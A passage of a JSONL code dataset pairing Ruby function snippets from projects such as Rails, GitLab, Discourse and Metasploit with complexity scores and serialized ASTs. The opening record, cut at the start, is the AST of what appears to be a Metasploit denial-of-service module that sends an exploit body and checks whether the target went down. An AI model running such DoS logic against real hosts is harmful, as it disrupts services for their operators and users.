\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uri\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_available\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[null,\"verb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"sploit\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Unable to connect. (Connection refused)\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target_available\",{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Unable to connect. (Host unreachable)\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target_available\",{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Unable to connect. (Timeout)\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target_available\",{\"type\":\"false\",\"children\":[]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_available\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Checking availability\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[null,\"verb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[64]}]}]},\"to_json\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target_available\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uri\"]}]},{\"type\":\"str\",\"children\":[\" - DoS appears successful (No useful response from host)\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_available\",{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ECONNRESET\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"DoS appears successful (Host unreachable)\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target_available\",{\"type\":\"false\",\"children\":[]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_available\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Target is still responsive, DoS was unsuccessful.\"]}]}]}]}","id":"acc8999e-305a-4d4f-8b13-3f22fa8ec3e5"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations_test.rb","start_line":768,"raw_source":"def test_has_one_association_redefinition_reflections_should_differ_and_not_inherited\n    assert_not_equal(\n      PeopleList.reflect_on_association(:has_one),\n      DifferentPeopleList.reflect_on_association(:has_one)\n    )\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_one_association_redefinition_reflections_should_differ_and_not_inherited\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PeopleList\"]},\"reflect_on_association\",{\"type\":\"sym\",\"children\":[\"has_one\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DifferentPeopleList\"]},\"reflect_on_association\",{\"type\":\"sym\",\"children\":[\"has_one\"]}]}]}]}","id":"bd47c3f7-abc8-4a9f-8ec0-19a0fa412e85"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/gemini/capabilities.rb","start_line":101,"raw_source":"def model_type(model_id)\n          case model_id\n          when /text-embedding|embedding|gemini-embedding/ then 'embedding'\n          when /imagen/ then 'image'\n          else 'chat'\n          end\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"model_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_id\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"text-embedding|embedding|gemini-embedding\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"embedding\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"imagen\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"image\"]}]},{\"type\":\"str\",\"children\":[\"chat\"]}]}]}","id":"b2c84de4-d808-46ee-ba4b-4951b472e383"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/support/acceptance/child_process.rb","start_line":356,"raw_source":"def setg_commands(default_global_datastore: {})\n      commands = []\n      # Ensure the global framework datastore is always clear\n      commands << \"irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear'\"\n      # Call setg\n      global_datastore = default_global_datastore.merge(@datastore[:global])\n      global_datastore.each do |key, value|\n        commands << \"setg #{key} #{value}\"\n      end\n      commands.join(\"\\n\")\n    end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"setg_commands\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"default_global_datastore\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"commands\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commands\"]},\"<<\",{\"type\":\"str\",\"children\":[\"irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear'\"]}]},{\"type\":\"lvasgn\",\"children\":[\"global_datastore\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_global_datastore\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@datastore\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"global\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"global_datastore\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commands\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"setg \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commands\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"6b15af53-ae3b-4e91-b919-c5ee78d3a7e6"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-patreon/lib/discourse_patreon/engine.rb","start_line":15,"raw_source":"def self.get(key)\n    store.get(key)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store\"]},\"get\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}","id":"5f580f46-d0fb-4474-9bc5-407dd7c0ae93"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/wikis/wiki_page_subscribe.rb","start_line":23,"raw_source":"def resolve(args)\n        wiki_page_meta = authorized_find!(id: args[:id])\n\n        update_subscription(wiki_page_meta, args[:subscribed])\n\n        {\n          wiki_page: wiki_page_meta,\n          errors: []\n        }\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wiki_page_meta\",{\"type\":\"send\",\"children\":[null,\"authorized_find!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"update_subscription\",{\"type\":\"lvar\",\"children\":[\"wiki_page_meta\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subscribed\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wiki_page\"]},{\"type\":\"lvar\",\"children\":[\"wiki_page_meta\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"cc7af5e4-ca06-415e-9c5c-3832a179663e"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-post-voting/app/models/post_voting_comment.rb","start_line":53,"raw_source":"def ensure_can_comment\n    if !SiteSetting.post_voting_comment_enabled\n      errors.add(:base, I18n.t(\"post_voting.comment.errors.disabled\"))\n    elsif !post.is_post_voting_topic?\n      errors.add(:base, I18n.t(\"post_voting.comment.errors.post_voting_not_enabled\"))\n    elsif post.reply_to_post_number.present?\n      errors.add(:base, I18n.t(\"post_voting.comment.errors.not_permitted\"))\n    elsif self.class.where(post_id: self.post_id).count >=\n          SiteSetting.post_voting_comment_limit_per_post\n      errors.add(\n        :base,\n        I18n.t(\n          \"post_voting.comment.errors.limit_exceeded\",\n          limit: SiteSetting.post_voting_comment_limit_per_post,\n        ),\n      )\n    end\n  end","complexity_score":43.1,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_can_comment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"post_voting_comment_enabled\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"post_voting.comment.errors.disabled\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post\"]},\"is_post_voting_topic?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"post_voting.comment.errors.post_voting_not_enabled\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post\"]},\"reply_to_post_number\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"post_voting.comment.errors.not_permitted\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"post_id\"]}]}]}]},\"count\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"post_voting_comment_limit_per_post\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"post_voting.comment.errors.limit_exceeded\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"post_voting_comment_limit_per_post\"]}]}]}]}]},null]}]}]}]}]}","id":"0edcfefc-9138-4f90-9085-95c781e0a276"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/database/lock_tables_worker.rb","start_line":55,"raw_source":"def lock_writes_manager(table_name, connection, database_name)\n      Gitlab::Database::LockWritesManager.new(\n        table_name: table_name,\n        connection: connection,\n        database_name: database_name,\n        with_retries: !connection.transaction_open?,\n        logger: nil,\n        dry_run: false,\n        force: true\n      )\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"lock_writes_manager\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"connection\"]},{\"type\":\"arg\",\"children\":[\"database_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"LockWritesManager\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection\"]},{\"type\":\"lvar\",\"children\":[\"connection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database_name\"]},{\"type\":\"lvar\",\"children\":[\"database_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with_retries\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"transaction_open?\"]},\"!\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"logger\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dry_run\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"8fa2d3bc-7662-4d50-bc2e-1f3c9762aca8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/models/concerns/reactive_caching_spec.rb","start_line":34,"raw_source":"def result\n        with_reactive_cache do |data|\n          data\n        end\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"result\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_reactive_cache\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}","id":"0ec7fe41-14d2-4a1c-8274-70f8be78aa7b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/subproject_filter.rb","start_line":76,"raw_source":"def ids_for_where\n    [project.id] + ids_for_where_subproject\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"ids_for_where\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"ids_for_where_subproject\"]}]}]}","id":"9b9bbaa1-6609-470c-9cbd-98ca98f7e23c"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/rails/plugin/plugin_generator.rb","start_line":276,"raw_source":"def create_assets_manifest_file\n        build(:assets_manifest) if !api? && engine?\n      end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_assets_manifest_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"engine?\"]}]},{\"type\":\"send\",\"children\":[null,\"build\",{\"type\":\"sym\",\"children\":[\"assets_manifest\"]}]},null]}]}","id":"1f3baf91-b0b6-41af-84d4-cdfc5e0dfe01"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/lib/holidays/definition/repository/cache.rb","start_line":9,"raw_source":"def cache_between(start_date, end_date, cache_data, options)\n          raise ArgumentError unless cache_data\n          raise ArgumentError unless start_date && end_date\n\n          @cache_range[options] = start_date..end_date\n          @cache[options] = cache_data.group_by { |holiday| holiday[:date] }\n        end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_between\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"start_date\"]},{\"type\":\"arg\",\"children\":[\"end_date\"]},{\"type\":\"arg\",\"children\":[\"cache_data\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache_data\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_date\"]},{\"type\":\"lvar\",\"children\":[\"end_date\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache_range\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_date\"]},{\"type\":\"lvar\",\"children\":[\"end_date\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache_data\"]},\"group_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"holiday\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"holiday\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"date\"]}]}]}]}]}]}","id":"ca4c881b-813d-4aa0-9537-33edeef7c02a"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/lib/captain/tools/http_tool.rb","start_line":42,"raw_source":"def execute_http_request(url, body)\n    uri = URI.parse(url)\n\n    # Check if resolved IP is private\n    check_private_ip!(uri.host)\n\n    http = Net::HTTP.new(uri.host, uri.port)\n    http.use_ssl = uri.scheme == 'https'\n    http.read_timeout = 30\n    http.open_timeout = 10\n    http.max_retries = 0 # Disable redirects\n\n    request = build_http_request(uri, body)\n    apply_authentication(request)\n\n    response = http.request(request)\n\n    raise \"HTTP request failed with status #{response.code}\" unless response.is_a?(Net::HTTPSuccess)\n\n    validate_response!(response)\n\n    response\n  end","complexity_score":25.7,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_http_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"arg\",\"children\":[\"body\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"send\",\"children\":[null,\"check_private_ip!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"host\"]}]},{\"type\":\"lvasgn\",\"children\":[\"http\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTP\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"port\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"use_ssl=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"scheme\"]},\"==\",{\"type\":\"str\",\"children\":[\"https\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"read_timeout=\",{\"type\":\"int\",\"children\":[30]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"open_timeout=\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"max_retries=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[null,\"build_http_request\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"apply_authentication\",{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTPSuccess\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTP request failed with status \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"validate_response!\",{\"type\":\"lvar\",\"children\":[\"response\"]}]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}","id":"a015a19a-1164-44bd-a5e0-154986d30ceb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cleanup/project_uploads.rb","start_line":64,"raw_source":"def move(path, new_path, prefix, dry_run)\n        action = \"#{prefix} #{path} -> #{new_path}\"\n\n        if dry_run\n          \"Can #{action}\"\n        else\n          begin\n            FileUtils.mkdir_p(File.dirname(new_path))\n            FileUtils.mv(path, new_path)\n\n            \"Did #{action}\"\n          rescue StandardError => e\n            \"Error during #{action}: #{e.inspect}\"\n          end\n        end\n      end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"move\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"new_path\"]},{\"type\":\"arg\",\"children\":[\"prefix\"]},{\"type\":\"arg\",\"children\":[\"dry_run\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"action\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\" -> \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_path\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dry_run\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Can \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"lvar\",\"children\":[\"new_path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mv\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"new_path\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Did \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error during \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"inspect\"]}]}]}]},null]}]}]}]}]}","id":"b7a06caa-2936-4ea6-8fa4-5ed7029e31cb"}
